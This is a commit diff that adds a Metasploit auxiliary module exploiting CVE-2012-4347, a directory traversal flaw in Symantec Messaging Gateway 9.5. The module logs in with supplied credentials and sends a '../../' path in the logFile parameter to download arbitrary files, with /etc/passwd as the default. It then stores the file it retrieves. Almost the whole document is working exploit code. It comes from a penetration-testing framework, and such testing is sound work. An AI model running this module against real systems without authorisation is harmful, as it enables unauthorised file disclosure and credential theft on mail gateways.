Add CVE-2012-4347 Symantec Messaging Gateway Log File Download

Author: sinn3r

modules/auxiliary/scanner/http/symantec_brightmail_logfile.rb

@@ -0,0 +1,155 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Auxiliary::Scanner
+	include Msf::Auxiliary::Report
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Symantec Messaging Gateway 9.5 Log File Download Vulnerability',
+			'Description'    => %q{
+					This module will download a file of your choice against Symantec Messaging
+				Gateway.  This is possible by exploiting a directory traversal vulnerability
+				when handling the 'logFile' parameter, which will load an arbitrary file as
+				an attachment.  Note that authentication is required in order to successfully
+				download your file.
+			},
+			'References'     =>
+				[
+					['CVE', '2012-4347'],
+					['EDB', '23110'],
+					['OSVDB', '88165'],
+					['BID', '56789'],
+					['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00']
+				],
+			'Author'         =>
+				[
+					'Ben Williams <ben.williams[at]ngssecure.com>',
+					'sinn3r'
+				],
+			'License'        => MSF_LICENSE,
+			'DisclosureDate' => "Nov 30 2012"
+		))
+
+		register_options(
+			[
+				Opt::RPORT(41080),
+				OptString.new('FILENAME', [true, 'The file to download', '/etc/passwd']),
+				OptString.new('USERNAME', [true, 'The username to login as']),
+				OptString.new('PASSWORD', [true, 'The password to login with'])
+			], self.class)
+
+		deregister_options('RHOST')
+	end
+
+
+	def peer
+		"#{rhost}:#{rport}"
+	end
+
+
+	def auth(username, password, sid, last_login)
+		res = send_request_cgi({
+			'method'    => 'POST',
+			'uri'       => '/brightmail/login.do',
+			'headers'   => {
+				'Referer' => "http://#{peer}/brightmail/viewLogin.do"
+			},
+			'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
+			'vars_post' => {
+				'lastlogin'  => last_login,
+				'userLocale' => '',
+				'lang'       => 'en_US',
+				'username'   => username,
+				'password'   => password,
+				'loginBtn'   => 'Login'
+			}
+		})
+
+		if res and res.headers['Location']
+			new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
+			res = send_request_cgi({
+				'uri'    => new_uri,
+				'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
+			})
+
+			return true if res and res.body =~ /Logged in as: #{username}/
+		end
+
+		return false
+	end
+
+
+	def get_login_data
+		sid        = ''  #From cookie
+		last_login = ''  #A hidden field in the login page
+
+		res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
+		if res and res.headers['Set-Cookie']
+			sid = res.headers['Set-Cookie'].scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
+		end
+
+		if res
+			last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
+		end
+
+		return sid, last_login
+	end
+
+
+	def download_file(sid, fname)
+		res = send_request_cgi({
+			'uri'      => '/brightmail/export',
+			'cookie'   => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
+			'vars_get' => {
+				'type'        => 'logs',
+				'logFile'     => "../../#{fname}",
+				'logType'     => '1',
+				'browserType' => '1'
+			}
+		})
+
+		if res and res.body.empty?
+			print_error("#{peer} - File not found or empty.")
+			return
+		end
+
+		vprint_line("")
+		vprint_line(res.body)
+
+		f = ::File.basename(fname)
+		p = store_loot('symantec.brightmail.file', 'application/octet-stream', rhost, res.body, f)
+		print_good("#{peer} - File saved as: '#{p}'")
+	end
+
+
+	def run_host(ip)
+		sid, last_login = get_login_data
+		if sid.empty? or last_login.empty?
+			print_error("#{peer} - Missing required login data.  Cannot continue.")
+			return
+		end
+
+		username = datastore['USERNAME']
+		password = datastore['PASSWORD']
+		if not auth(username, password, sid, last_login)
+			print_error("#{peer} - Unable to login.  Cannot continue.")
+			return
+		else
+			print_good("#{peer} - Logged in as '#{username}:#{password}'")
+		end
+
+		fname = datastore['FILENAME']
+		download_file(sid, fname)
+	end
+
+end